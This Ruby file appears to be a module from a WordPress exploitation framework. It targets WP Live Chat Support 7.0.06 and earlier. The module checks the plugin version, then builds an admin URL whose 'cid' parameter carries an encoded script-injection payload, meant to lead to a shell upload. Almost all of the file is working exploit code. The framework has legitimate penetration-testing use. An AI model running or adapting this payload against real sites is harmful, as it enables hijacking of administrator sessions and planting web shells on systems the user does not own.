# frozen_string_literal: true

class Wpxf::Exploit::WpLiveChatSupportReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss
  include ERB::Util

  def initialize
    super

    update_info(
      name: 'WP Live Chat Support <= 7.0.06 Reflected XSS Shell Upload',
      author: [
        'Chris Liu', # Discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '8843'],
        ['URL', 'http://jvn.jp/en/jp/JVN70951878/index.html'],
        ['URL', 'https://www.rastating.com/wp-live-chat-support-7-0-06-reflected-xss']
      ],
      date: 'Jun 01 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('wp-live-chat-support', 'readme.txt', '7.0.07')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'admin.php')
  end

  def url_payload
    url_encode("#{Utility::Text.rand_numeric(2)}'><script>#{xss_ascii_encoded_include_script}</script><span class='")
  end

  def url_with_xss
    "#{vulnerable_url}?page=wplivechat-menu-history&wplc_action=remove_cid&cid=#{url_payload}"
  end
end
